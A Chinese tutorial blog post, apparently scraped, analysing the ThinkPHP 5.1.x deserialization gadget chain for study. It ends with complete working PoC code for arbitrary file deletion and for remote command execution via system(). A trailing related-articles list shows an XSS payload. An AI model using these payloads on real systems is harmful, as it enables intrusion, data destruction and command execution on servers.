ThinkPHP审计(2) Thinkphp反序列化链5.1.X原理分析从0编写POC

ThinkPHP审计(2) Thinkphp反序列化链子5.1.X原理分析&从0编写POC

文章目录

  • ThinkPHP审计(2) Thinkphp反序列化链子5.1.X原理分析&从0编写POC
  • 动态调试环境配置
  • Thinkphp反序列化链5.1.X原理分析
    • 一.实现任意文件删除
    • 二.实现任意命令执行
      • 真正的难点
  • Thinkphp反序列化链5.1.x 编写 Poc
  • 汇总POC

动态调试环境配置

比较简洁的环境配置教程:
https://sn1per-ssd.github.io/2021/02/09/phpstudy-phpstorm-xdebug%E6%90%AD%E5%BB%BA%E6%9C%AC%E5%9C%B0%E8%B0%83%E8%AF%95%E7%8E%AF%E5%A2%83/

Thinkphp反序列化链5.1.X原理分析

原理分析仅仅是遵循前辈的已有的道路,而不是完全探究每一种链子所带来的情况和可能性

前提:存在反序列化的入口

  1. unserialize()
  2. phar反序列化
  3. session反序列化

__destruct/__wakeup可以作为PHP反序列链的入口
这里简单介绍一下__destruct垃圾回收机制与生命周期的含义
__destruct可以理解为PHP的垃圾回收机制,是每次对象执行结束后必须执行的内容,但是执行的先后顺序往往和反序列化的生命周期有关

例如:

<?php
class Test{public $name;public $age;public $string;// __construct:实例化对象时被调用.其作用是拿来初始化一些值。public function __construct($name, $age, $string){echo "__construct 初始化"."<br>";}// __destruct:当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。/** 当对象销毁时会调用此方法* 一是用户主动销毁对象,二是当程序结束时由引擎自动销毁*/function __destruct(){echo "__destruct 类执行完毕"."<br>";}
}
$test = new test("test",18, 'Test String');
echo '第二种执行完毕'.'<br>';?>

image-20240406220859479

这里$test = new test("test",18, 'Test String');

对象被赋值给了$test变量,而不是直接的new test("test",18, 'Test String'); 传递给对象延长了对象的生命周期

所以是在echo '第二种执行完毕'.'<br>';执行后才执行了__destruct内容

类似的比如快速销毁(Fast-destruct)

<?php
class Test{public $name;public $age;public $string;// __construct:实例化对象时被调用.其作用是拿来初始化一些值。public function __construct($name, $age, $string){echo "__construct 初始化"."<br>";}// __destruct:当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。/** 当对象销毁时会调用此方法* 一是用户主动销毁对象,二是当程序结束时由引擎自动销毁*/function __destruct(){echo "__destruct 类执行完毕"."<br>";}
}//主动销毁
$test = new Test("test",18, 'Test String');
unset($test);
echo '第一种执行完毕'.'<br>';
echo '----------------------<br>';?>

image-20240406222646374

这里直接__construct后执行__destruct

因为unset — 清除指定变量直接销毁储存对象的变量,达到快速垃圾回收的目的

现在开始分析链子 Windows 类中__destruct执行了自身的removeFiles()方法

image-20240406223848195

跟进removeFiles

    private function removeFiles(){foreach ($this->files as $filename) {if (file_exists($filename)) {@unlink($filename);}}$this->files = [];}

image-20240406224229041

发现遍历$this->files,而且$this->files可控,作为数组传递

一.实现任意文件删除

@unlink($filename);删除了传递的filename

简单编写poc

<?php
namespace think\process\pipes;use think\Process;
class Pipes{};class Windows extends Pipes
{private $files = ["D:\\flag.txt"];}
$windows=new Windows();
echo(base64_encode(serialize($windows)));
?>

可以实现任意文件的的删除

image-20240406224903636

二.实现任意命令执行

除了任意文件删除,危害还可以更大吗?

通过POP链可以实现任意命令执行

image-20240406165716844

全局逻辑图

image-20240406165638396

    private function removeFiles(){foreach ($this->files as $filename) {if (file_exists($filename)) {@unlink($filename);}}$this->files = [];}

file_exists函数用于判断文件是否存在

预期传入 String $filename但是如果我们控制$filename作为一个对象,就可以隐形的调用类的__toString()方法

image-20240406225107568

thinkphp/library/think/model/concern/Conversion.php

public function __toString(){return $this->toJson();}
  public function toJson($options = JSON_UNESCAPED_UNICODE){return json_encode($this->toArray(), $options);}
public function toArray(){$item       = [];$hasVisible = false;foreach ($this->visible as $key => $val) {if (is_string($val)) {if (strpos($val, '.')) {list($relation, $name)      = explode('.', $val);$this->visible[$relation][] = $name;} else {$this->visible[$val] = true;$hasVisible          = true;}unset($this->visible[$key]);}}foreach ($this->hidden as $key => $val) {if (is_string($val)) {if (strpos($val, '.')) {list($relation, $name)     = explode('.', $val);$this->hidden[$relation][] = $name;} else {$this->hidden[$val] = true;}unset($this->hidden[$key]);}}// 合并关联数据$data = array_merge($this->data, $this->relation);foreach ($data as $key => $val) {if ($val instanceof Model || $val instanceof ModelCollection) {// 关联模型对象if (isset($this->visible[$key]) && is_array($this->visible[$key])) {$val->visible($this->visible[$key]);} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {$val->hidden($this->hidden[$key]);}// 关联模型对象if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {$item[$key] = $val->toArray();}} elseif (isset($this->visible[$key])) {$item[$key] = $this->getAttr($key);} elseif (!isset($this->hidden[$key]) && !$hasVisible) {$item[$key] = $this->getAttr($key);}}// 追加属性(必须定义获取器)if (!empty($this->append)) {//在poc中定义了append:["peanut"=>["whoami"]foreach ($this->append as $key => $name) { //$key =paenut; $name =["whoami"]if (is_array($name)) {//$name=["whoami"]所以进入// 追加关联对象属性$relation = $this->getRelation($key);if (!$relation) {$relation = $this->getAttr($key);if ($relation) {$relation->visible($name);//$relation可控,找到一个没有visible方法或不可访问这个方法的类时,即可调用_call()魔法方法}}$item[$key] = $relation ? $relation->append($name)->toArray() : [];} elseif (strpos($name, '.')) {list($key, $attr) = explode('.', $name);// 追加关联对象属性$relation = $this->getRelation($key);if (!$relation) {$relation = $this->getAttr($key);if ($relation) {$relation->visible([$attr]);}}$item[$key] = $relation ? $relation->append([$attr])->toArray() : [];} else {$item[$name] = $this->getAttr($name, $item);}}}return $item;}

关键的几个判断和赋值

public function getRelation($name = null){if (is_null($name)) {return $this->relation;} elseif (array_key_exists($name, $this->relation)) {return $this->relation[$name];}return;}
 if (!empty($this->append)) {//在poc中定义了append:["peanut"=>["whoami"]foreach ($this->append as $key => $name) { //$key =paenut; $name =["whoami"]if (is_array($name)) {//$name=["whoami"]所以进入// 追加关联对象属性$relation = $this->getRelation($key);if (!$relation) {$relation = $this->getAttr($key);if ($relation) {$relation->visible($name);//$relation可控,找到一个没有visible方法或不可访问这个方法的类时,即可调用_call()魔法方法}}
public function getAttr($name, &$item = null)//此时$name = 上一层的$key = peanut{try {$notFound = false;$value    = $this->getData($name);} catch (InvalidArgumentException $e) {$notFound = true;$value    = null;}
public function getData($name = null)//$name = $key =peanut{if (is_null($name)) {return $this->data;} elseif (array_key_exists($name, $this->data)) {//poc中定义$this->data = ['peanut'=>new request()]return $this->data[$name];} elseif (array_key_exists($name, $this->relation)) {return $this->relation[$name];}throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);}

$relation->visible($name);$relation可控,可以实现任意类的visible方法,如果visible方法不存在,就会调用这个类的__call方法

如何达到$relation->visible($name); 触发点 访问

        if (!empty($this->append)) {//在poc中定义了append:["peanut"=>["whoami"]]foreach ($this->append as $key => $name) { //$key =paenut; $name =["whoami"]if (is_array($name)) {//$name=["whoami"]所以进入
  1. 保证$this->append不为空
  2. $this->append 数组的值$name为数组 也就是二维数组

比如传入append:["peanut"=>["whoami"]]

接着向下走

$relation = $this->getRelation($key);if (!$relation) {
public function getRelation($name = null){if (is_null($name)) {return $this->relation;} elseif (array_key_exists($name, $this->relation)) {return $this->relation[$name];}return;}

不会进入if/elseif中 直接return;回来 为null

if (!$relation)为空进入判断

 $relation = $this->getAttr($key);if ($relation) {$relation->visible($name);//$relation可控,找到一个没有visible方法或不可访问这个方法的类时,即可调用_call()魔法方法}
public function getAttr($name, &$item = null)//此时$name = 上一层的$key = peanut{try {$notFound = false;$value    = $this->getData($name);} catch (InvalidArgumentException $e) {$notFound = true;$value    = null;}

进入$this->getData

public function getData($name = null)//$name = $key =peanut{if (is_null($name)) {return $this->data;} elseif (array_key_exists($name, $this->data)) {//poc中定义$this->data = ['peanut'=>new request()]return $this->data[$name];} elseif (array_key_exists($name, $this->relation)) {return $this->relation[$name];}throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);}

判断了$this->data传递的键存在,如果存在,返回其数组对应的键值

比如可以控制$this->data = ['peanut'=>new request()]

 $relation = $this->getAttr($key);if ($relation) {$relation->visible($name);//$relation可控,找到一个没有visible方法或不可访问这个方法的类时,即可调用_call()魔法方法}

$relation->visible($name);$relation可控为任意类

现在寻找调用__call的类

thinkphp/library/think/Request.php

  public function __call($method, $args){if (array_key_exists($method, $this->hook)) {array_unshift($args, $this);return call_user_func_array($this->hook[$method], $args);}throw new Exception('method not exists:' . static::class . '->' . $method);}

这里存在敏感关键函数call_user_func_array

__call($method, $args)接受的参数`

$method固定是visible

$args是传递过来的$name

 if (array_key_exists($method, $this->hook)) {array_unshift($args, $this);return call_user_func_array($this->hook[$method], $args);

可以控制$this->hook['visible']为任意值,可以控制函数名

call_user_func()的利用方式无非两种

__call_user_func($method, $args) __

call_user_func_array([ o b j , obj, obj,method], $args)

如果执行第一种方式call_user_func($method, $args)

但是这里array_unshift($args, $this); 参数插入$this作为第一个值

image-20240407001625248

参数是不能被正常命令识别的,不能直接RCE

那我们最终的利用点可以肯定并不是这里

如果选择第二种方式

call_user_func_array([$obj,$method], $args)

**通过调用 任意类 的 任意方法 **,可供选择的可能性更多

call_user_func_array([ o b j , " 任 意 方 法 " ] , [ obj,"任意方法"],[ obj,""],[this,任意参数])

也就是 o b j − > obj-> obj>func( t h i s , this, this,argv)

真正的难点

曲线救国的策略

难点理解:

__call魔术方法受到array_unshift无法可控触发call_user_func_array

利用_call调用isAjax类找可控变量再触发到filterValue里的call_user_func

为什么这里选RequestisAjax方法 接着POP链的调用了?

为什么当时的链子发现的作者会想到通过isAjax接着执行命令?

网上文章千篇一律,无非就是拿个poc动态调试,粘贴个poc就完了

Thinkphp反序列化漏洞 核心在于 逆向的思考 倒推

开发者不会傻乎乎写个system,shell_exec,exec等系统函数给你利用的可能

而我们又希望最终实现RCE的效果

我们最终应该更多关注于 不明显的回调函数或者匿名函数执行命令

比如call_user_func,call_user_func_array,array_map,array_filter...

thinkphp/library/think/Request.php

private function filterValue(&$value, $key, $filters){$default = array_pop($filters);foreach ($filters as $filter) {if (is_callable($filter)) {// 调用函数或者方法过滤$value = call_user_func($filter, $value);

$filter , $value 可控

通过传递 $filter , $value实现任意命令执行

那么什么地方调用了filterValue?回溯调用filterValue的地方

image-20240407141514973

thinkphp/library/think/Request.phpinput调用

$this->filterValue($data, $name, $filter);

public function input($data = [], $name = '', $default = null, $filter = ''){if (false === $name) {// 获取原始数据return $data;}$name = (string) $name;if ('' != $name) {// 解析nameif (strpos($name, '/')) {list($name, $type) = explode('/', $name);}$data = $this->getData($data, $name);if (is_null($data)) {return $default;}if (is_object($data)) {return $data;}}// 解析过滤器$filter = $this->getFilter($filter, $default);if (is_array($data)) {array_walk_recursive($data, [$this, 'filterValue'], $filter);if (version_compare(PHP_VERSION, '7.1.0', '<')) {// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针$this->arrayReset($data);}} else {$this->filterValue($data, $name, $filter); //调用点}

input()函数满足条件,但是在 input() 中会对 $name 进行强转 $name = (string) $name; 传入对象会直接报错,所以使用 ide 对其进行回溯,查找调用 input() 的方法

什么地方又调用了input函数? Request类中的param函数

image-20240407141815137

public function param($name = '', $default = null, $filter = ''){if (!$this->mergeParam) {$method = $this->method(true);// 自动获取请求变量switch ($method) {case 'POST':$vars = $this->post(false);break;case 'PUT':case 'DELETE':case 'PATCH':$vars = $this->put(false);break;default:$vars = [];}// 当前请求参数和URL地址中的参数合并$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));$this->mergeParam = true;}if (true === $name) {// 获取包含文件上传信息的数组$file = $this->file();$data = is_array($file) ? array_merge($this->param, $file) : $this->param;return $this->input($data, '', $default, $filter);}return $this->input($this->param, $name, $default, $filter);}

什么地方又调用了param函数?

image-20240407142005524

是在thinkphp/library/think/Request.phpisAjax方法调用

public function isAjax($ajax = false){$value  = $this->server('HTTP_X_REQUESTED_WITH');$result = 'xmlhttprequest' == strtolower($value) ? true : false;if (true === $ajax) {return $result;}$result           = $this->param($this->config['var_ajax']) ? true : $result;$this->mergeParam = false;return $result;}

我们可以控制$this->config['var_ajax']为任意值

通过 call_user_func(['object','method',['$this','args']]);

实现 跳转 Request类的isAjax方法

image-20240406165638396

至此实现整个链路的闭合

Thinkphp反序列化链5.1.x 编写 Poc

image-20240407143848950

我们开始编写Poc时可以以魔术方法作为每个部分的 分界点

因为魔术方法的实现 往往时 跨类

注意声明一下 命名空间

image-20240407144240558

image-20240407150126056

//__destruct->removeFiles->file_exists->
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes{private $files = [];function __construct(){$this->files=[new Pivot()];}
}

实现触发 new Pivot(任意类)的__toString魔术方法

触发thinkphp/library/think/model/concern/Conversion.php

image-20240407144729146

注意一下这里是trait Conversion

PHP 实现了一种代码复用的方法,称为 trait。

Trait 是为类似 PHP 的单继承语言而准备的一种代码复用机制。Trait 为了减少单继承语言的限制,使开发人员能够自由地在不同层次结构内独立的类中复用 method。Trait 和 Class 组合的语义定义了一种减少复杂性的方式,避免传统多继承和 Mixin 类相关典型问题。

Trait 和 Class 相似,但仅仅旨在用细粒度和一致的方式来组合功能。 无法通过 trait 自身来实例化。它为传统继承增加了水平特性的组合;也就是说,应用的几个 Class 之间不需要继承。

__toString->toJson->toArray->visible->

if (!empty($this->append)) {//在poc中定义了append:["peanut"=>["whoami"]foreach ($this->append as $key => $name) { //$key =paenut; $name =["whoami"]if (is_array($name)) {//$name=["whoami"]所以进入// 追加关联对象属性$relation = $this->getRelation($key);if (!$relation) {$relation = $this->getAttr($key);if ($relation) {$relation->visible($name);//$relation可控,找到一个没有visible方法或不可访问这个方法的类时,即可调用_call()魔法方法}}

保证几个条件

  1. $this->append有值
  2. $this->append的键对应的值为数组
  3. $this->data存在同名key,value的值就就是 跳转的任意类的visible方法

image-20240407150142185

//__toString->toJson->toArray->visible->
namespace think;
abstract class Model{protected $append = [];private $data=[];function __construct(){$this->append=['coleak'=>['']];$this->data=['coleak'=>new Request()];}
}//为后续集成类加载
namespace think\model;
use think\Model;
class Pivot extends Model{
}

可以实现跳转到Request类的_call方法

    public function __call($method, $args){if (array_key_exists($method, $this->hook)) {array_unshift($args, $this);return call_user_func_array($this->hook[$method], $args);}

image-20240407150244868

接下来进行跳转 call_user_func_array([new Request(),"isAjax"], $args)

$method一定是visible

因此可以控制$this->hook=['visible'=>[$this,'isAjax']];

跳转 Request类的isAjax方法

public function isAjax($ajax = false){$value  = $this->server('HTTP_X_REQUESTED_WITH');$result = 'xmlhttprequest' == strtolower($value) ? true : false;if (true === $ajax) {return $result;}$result           = $this->param($this->config['var_ajax']) ? true : $result;$this->mergeParam = false;return $result;}

控制$this->config['var_ajax'])存在即可

调用$this->param函数

public function param($name = '', $default = null, $filter = ''){if (!$this->mergeParam) {$method = $this->method(true);// 自动获取请求变量switch ($method) {case 'POST':$vars = $this->post(false);break;case 'PUT':case 'DELETE':case 'PATCH':$vars = $this->put(false);break;default:$vars = [];}// 当前请求参数和URL地址中的参数合并$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));$this->mergeParam = true;}if (true === $name) {// 获取包含文件上传信息的数组$file = $this->file();$data = is_array($file) ? array_merge($this->param, $file) : $this->param;return $this->input($data, '', $default, $filter);}return $this->input($this->param, $name, $default, $filter);}

这里直接初始化

$name = '', $default = null, $filter = ''

不进入第一个if判断

if (!$this->mergeParam)

控制protected $mergeParam = true;

其他条件无论执行与否,最后

return $this->input($this->param, $name, $default, $filter);

进入input函数

 public function input($data = [], $name = '', $default = null, $filter = ''){if (false === $name) {// 获取原始数据return $data;}$name = (string) $name;if ('' != $name) {// 解析nameif (strpos($name, '/')) {list($name, $type) = explode('/', $name);}$data = $this->getData($data, $name);if (is_null($data)) {return $default;}if (is_object($data)) {return $data;}}// 解析过滤器$filter = $this->getFilter($filter, $default);

初始化默认$data = [], $name = '', $default = null, $filter = ''

一定会进入$this->filterValue($data, $name, $filter);

调用函数filterValue

    private function filterValue(&$value, $key, $filters){$default = array_pop($filters);foreach ($filters as $filter) {if (is_callable($filter)) {// 调用函数或者方法过滤$value = call_user_func($filter, $value);

控制$filter作为系统命令

protected $filter;
$this->filter=['system'];

filterValue.value的值为第一个通过GET请求的值

可以控制&$value的值作为命令的参数

protected $param = ['calc'];
//protected $param = 'calc'也可以,走另一条执行路径

综合一下

image-20240407150244868

//__call->isAjax->param->input->filterValue->call_user_func
namespace think;
class Request{protected $hook = [];protected $filter;protected $mergeParam = true;protected $param = ['calc'];//protected $param = 'calc'也可以,走另一条执行路径protected $config = ['var_ajax'         => '',];function __construct(){$this->hook=['visible'=>[$this,'isAjax']];$this->filter=['system'];}
}

汇总POC

<?php//__call->isAjax->param->input->filterValue->call_user_func
namespace think;
class Request{protected $hook = [];protected $filter;protected $mergeParam = true;protected $param = ['calc'];//protected $param = 'calc'也可以,走另一条执行路径protected $config = ['var_ajax'         => '',];function __construct(){$this->hook=['visible'=>[$this,'isAjax']];$this->filter=['system'];}
}//__toString->toJson->toArray->visible->
namespace think;
abstract class Model{protected $append = [];private $data=[];function __construct(){$this->append=['coleak'=>['']];$this->data=['coleak'=>new Request()];}
}//为后续集成类加载
namespace think\model;
use think\Model;
class Pivot extends Model{
}//__destruct->removeFiles->file_exists->
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes{private $files = [];function __construct(){$this->files=[new Pivot()];}
}echo base64_encode(serialize(new Windows()));
//按实际情况来决定如何处理序列化数据

image-20240407155602078

可以成功执行系统命令

本次链子涉及三个关键类

  1. Windows
  2. Conversion
  3. Request

可以浅浅记一下
可以调试看看具体的值

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/798858.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

k8s1.28-helm安装kafka-Raft集群

参考文档 [Raft Kafka on k8s 部署实战操作 - 掘金 (juejin.cn)](https://juejin.cn/post/7349437605857411083?fromsearch-suggest)部署 Raft Kafka&#xff08;Kafka 3.3.1 及以上版本引入的 KRaft 模式&#xff09;在 Kubernetes (k8s) 上&#xff0c;可以简化 Kafka 集群…

uniapp选择退出到指定页面

方法一&#xff1a;返回上n层页面 onUnload(){uni.navigateBack({delta:5,//返回上5层})},方法二&#xff1a;关闭当前页面&#xff0c;跳转到应用内的某个页面。 uni.redirectTo({url: "../home/index"//页面地址}) 方法三&#xff1a;关闭所有页面&#xff0c;打…

xss基础

第一关&#xff1a; html部分标签可以解析js <script>alert (1)</script> 第二关&#xff1a; 可以看到value用双引号闭合了&#xff0c;使用上一关的payload没用&#xff0c;尝试一下闭合这个input 所以使用双引号和>闭合后再加入上一关的payload 11"…

在 macOS 上创建安装程序

在 macOS 上创建安装程序通常涉及使用 Apple 提供的 PackageMaker 工具或者创建一个 .dmg&#xff08;磁盘映像文件&#xff09;&#xff0c;其中包含应用程序和安装脚本。那么如果在安装中出现下面情况可以用我的解决方案。 一、问题背景 开发者编写了一个 Python 应用程序&a…

AURORA64B66B IP核使用

文章目录 前言一、IP核配置二、设计框图三、上板效果总结 前言 前面我们基于GT 64B66B设计了自定义PHY层&#xff0c;并且也介绍过了基于AURORA8B18B IP核的使用&#xff0c;AURORA8B18B IP核的使用可以说是与AURORA8B18B IP核完全一致&#xff0c;可参考前文&#xff1a;http…

微信小程序实现滚动标签

使用scroll-view标签可实现组件滚动标签 1、list中 list.wxml代码如下: <!--pages/list/list.wxml--> <navigation-bartitle"小程序" back"{{false}}"color"black" background"#FFF"></navigation-bar><scroll-…

顺子日期(StringBuffer)

题目 public class Main {static int[] date new int[] {0,31,28,31,30,31,30,31,31,30,31,30,31};public static boolean res(StringBuffer s) {String ss s.toString();//yyrrfor(int i0;i<2;i) {int x Integer.parseInt(s.charAt(i)"");int y Integer.par…

基于Swin Transformers的乳腺癌组织病理学图像多分类

乳腺癌的非侵入性诊断程序涉及体检和成像技术&#xff0c;如乳房X光检查、超声检查和磁共振成像。成像程序对于更全面地评估癌症区域和识别癌症亚型的敏感性较低。 CNN表现出固有的归纳偏差&#xff0c;并且对于图像中感兴趣对象的平移、旋转和位置有所不同。因此&#xff0c;…

如何插入LinK3D、CSF、BALM来直接插入各个SLAM框架中

0. 简介 LinK3D、CSF、BALM这几个都是非常方便去插入到激光SLAM框架的。这里我们会分别从多个角度来介绍如何将每个框架插入到SLAM框架中 1. LinK3D:三维LiDAR点云的线性关键点表示 LinK3D的核心思想和基于我们的LinK3D的两个LiDAR扫描的匹配结果。绿色线是有效匹配。当前关…

【信号与系统 - 5】傅里叶变换性质2

这一篇涉及剩余的几个性质 ⑤对称性&#xff08;互易特性&#xff09; ⑥时/频域卷积 ⑦时域微/积分特性 ⑧频域微/积分特性 1 对称性&#xff08;互易特性&#xff09; 总的来说&#xff0c;有&#xff1a; 若 f ( t ) ↔ F ( j w ) f(t)\leftrightarrow{F(jw)} f(t)↔F(jw)…

设计方案:914-基于64路AD的DBF波束形成硬件

一、硬件概述 &#xff24;&#xff22;&#xff26;技术的实现全部是在数字域实现&#xff0c;然而天线阵列接收的信号经过多次混频后得到的中频信号是模拟信号&#xff0c;实现&#xff24;&#xff22;&#xff26;处理并充分发挥&#xff24;&#xff22;&…

MSOLSpray:一款针对微软在线账号(AzureO365)的密码喷射与安全测试工具

关于MSOLSpray MSOLSpray是一款针对微软在线账号&#xff08;Azure/O365&#xff09;的密码喷射与安全测试工具&#xff0c;在该工具的帮助下&#xff0c;广大研究人员可以直接对目标账户执行安全检测。支持检测的内容包括目标账号凭证是否有效、账号是否启用了MFA、租户账号是…

智慧园区革新之路:山海鲸可视化技术引领新变革

随着科技的飞速发展&#xff0c;智慧园区已成为城市现代化建设的重要组成部分。山海鲸可视化智慧园区解决方案&#xff0c;作为业界领先的数字化革新方案&#xff0c;正以其独特的技术优势和丰富的应用场景&#xff0c;引领着智慧园区建设的新潮流。 本文将带大家一起了解一下…

解决 macOS 系统向日葵远程控制鼠标、键盘无法点击的问题

解决 macOS 系统向日葵远程控制鼠标\键盘无法点击的问题 1、首先正常配置&#xff0c;在系统偏好设置 - 安全性与隐私内&#xff0c;将屏幕录制、文件和文件夹、完全的磁盘访问权限、辅助功能全部都加入向日葵客户端 2、通过打开的文件访达&#xff0c;使用command shift G…

(2024,Attention-Mamba,MoE 替换 MLP)Jamba:混合 Transformer-Mamba 语言模型

Jamba: A Hybrid Transformer-Mamba Language Model 公和众和号&#xff1a;EDPJ&#xff08;进 Q 交流群&#xff1a;922230617 或加 VX&#xff1a;CV_EDPJ 进 V 交流群&#xff09; 目录 0. 摘要 1. 简介 2. 模型架构 3. 收获的好处 3.1 单个 80GB GPU 的 Jamba 实现 …

如何在 iPhone 15/14/13/12/11/XS/XR 上恢复误删除的短信?

无论你的iPhone功能多么强大&#xff0c;数据丢失的情况仍然时有发生&#xff0c;所以当你发现一些重要的消息有一天丢失了。别担心&#xff0c;让自己冷静下来&#xff0c;然后按照本页的方法轻松从 iPhone 中检索已删除的短信。 在这里&#xff0c;您需要奇客数据恢复iPhone…

【AI】ubuntu 22.04 本地搭建Qwen-VL 支持图片识别的大语言模型 AI视觉

下载源代码 yeqiangyeqiang-MS-7B23:~/Downloads/src$ git clone https://gh-proxy.com/https://github.com/QwenLM/Qwen-VL 正克隆到 Qwen-VL... remote: Enumerating objects: 584, done. remote: Counting objects: 100% (305/305), done. remote: Compressing objects: 10…

代码+视频,手动绘制logistic回归预测模型校准曲线(Calibration curve)(2)

校准曲线图表示的是预测值和实际值的差距&#xff0c;作为预测模型的重要部分&#xff0c;目前很多函数能绘制校准曲线。 一般分为两种&#xff0c;一种是通过Hosmer-Lemeshow检验&#xff0c;把P值分为10等分&#xff0c;求出每等分的预测值和实际值的差距 另外一种是calibrat…

JetBrains IDE 2024.1 发布 - 开发者工具

JetBrains IDE 2024.1 (macOS, Linux, Windows) - 开发者工具 CLion, DataGrip, DataSpell, Fleet, GoLand, IntelliJ IDEA, PhpStorm, PyCharm, Rider, RubyMine, WebStorm 请访问原文链接&#xff1a;JetBrains IDE 2024.1 (macOS, Linux, Windows) - 开发者工具&#xff0…

在线免费图像处理

功能 尺寸修改(自定义和内置常用的照片尺寸)图像压缩(比较好的情况最高可以压缩 10 倍, 如果是无损压缩可以压缩 5 倍左右,参数范围 50~70 左右)图像方向修改图像格式修改修改后的效果支持实时反馈, 并且支持点击图像预览,同时保留历史修改图片(在预览中可以查看) 入口 图片…